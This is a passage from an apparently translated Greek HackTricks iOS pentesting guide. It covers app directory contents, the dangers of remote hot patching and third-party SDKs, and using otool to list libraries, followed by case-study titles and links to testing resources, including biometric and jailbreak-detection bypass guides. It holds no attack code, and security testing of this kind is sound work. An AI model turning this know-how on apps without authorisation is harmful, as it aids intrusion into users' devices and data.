/User/Applications/<APP ID>/) μπορείτε να βρείτε μερικά ενδιαφέροντα αρχεία: iTunesArtwork: Το εικονίδιο που χρησιμοποιεί η εφαρμογήiTunesMetadata.plist: Πληροφορίες της εφαρμογής που χρησιμοποιούνται στο App Store/Library/*: Περιέχει τις προτιμήσεις και την cache. Στο/Library/Cache/Snapshots/*μπορείτε να βρείτε το snapshot που έγινε στην εφαρμογή πριν αυτή σταλεί στο background.
Hot Patching/Enforced Updateing
Οι προγραμματιστές μπορούν απομακρυσμένα να patch-άρουν όλες τις εγκαταστάσεις της εφαρμογής τους άμεσα χωρίς να χρειαστεί να υποβάλουν ξανά την εφαρμογή στο App Store και να περιμένουν την έγκριση.
Για αυτόν τον σκοπό συνήθως χρησιμοποιείται JSPatch. Αλλά υπάρχουν και άλλες επιλογές όπως Siren και react-native-appstore-version-checker.
Αυτός είναι ένας επικίνδυνος μηχανισμός που θα μπορούσε να καταχραστεί από κακόβουλα third party SDKs, επομένως συνιστάται να ελέγξετε ποια μέθοδος χρησιμοποιείται για αυτόματη ενημέρωση (αν υπάρχει) και να τη δοκιμάσετε. Μπορείτε να δοκιμάσετε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής για αυτόν τον σκοπό.
Third Parties
Ένα σημαντικό πρόβλημα με τα 3rd party SDKs είναι η έλλειψη λεπτομερούς ελέγχου πάνω στις λειτουργίες τους. Οι προγραμματιστές πρέπει να επιλέξουν: είτε να ενσωματώσουν το SDK και να αποδεχτούν όλες τις λειτουργίες του, συμπεριλαμβανομένων πιθανών ευπαθειών ασφαλείας και θεμάτων απορρήτου, είτε να χάσουν εντελώς τα οφέλη του. Συχνά, οι προγραμματιστές δεν μπορούν να διορθώσουν ευπάθειες μέσα σε αυτά τα SDKs οι ίδιοι. Επιπλέον, όσο τα SDKs αποκτούν εμπιστοσύνη στην κοινότητα, κάποια μπορεί να αρχίσουν να περιέχουν κακόβουλο λογισμικό.
Οι υπηρεσίες που παρέχονται από τρίτα SDKs μπορεί να περιλαμβάνουν παρακολούθηση συμπεριφοράς χρηστών, εμφάνιση διαφημίσεων ή βελτιώσεις εμπειρίας χρήστη. Ωστόσο, αυτό εισάγει έναν κίνδυνο καθώς οι προγραμματιστές ενδέχεται να μην γνωρίζουν πλήρως τον κώδικα που εκτελούν αυτές οι βιβλιοθήκες, οδηγώντας σε πιθανούς κινδύνους απορρήτου και ασφάλειας. Είναι κρίσιμο να περιορίζετε τις πληροφορίες που μοιράζεστε με υπηρεσίες τρίτων στα απολύτως απαραίτητα και να διασφαλίζετε ότι δεν αποκαλύπτονται ευαίσθητα δεδομένα.
Η υλοποίηση υπηρεσιών τρίτων συνήθως γίνεται με δύο μορφές: μια αυτόνομη βιβλιοθήκη ή ένα πλήρες SDK. Για την προστασία του απορρήτου των χρηστών, κάθε δεδομένο που μοιράζεται με αυτές τις υπηρεσίες θα πρέπει να είναι αποπροσωποποιημένο (anonymized) ώστε να αποφεύγεται η αποκάλυψη Personal Identifiable Information (PII).
Για να εντοπίσετε τις βιβλιοθήκες που χρησιμοποιεί μια εφαρμογή, μπορείτε να χρησιμοποιήσετε την εντολή otool. Αυτό το εργαλείο πρέπει να τρέξει ενάντια στην εφαρμογή και σε κάθε shared library που χρησιμοποιεί για να ανακαλύψει επιπλέον βιβλιοθήκες.
otool -L <application_path>
Ενδιαφέρουσες Ευπάθειες & Μελέτες Περίπτωσης
Air Keyboard Remote Input Injection
Itunesstored Bookassetd Sandbox Escape
Zero Click Messaging Image Parser Chains
Αναφορές & Περισσότεροι Πόροι
- https://blog.calif.io/p/taking-apart-ios-apps-anti-debugging
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & Mobile App Pentesting - INE
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/
- https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage
- https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060
- https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064
- https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ Δωρεάν μάθημα iOS(https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< Objective-C έκδοση https://github.com/OWASP/iGoat-Swift <<< Swift έκδοση
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


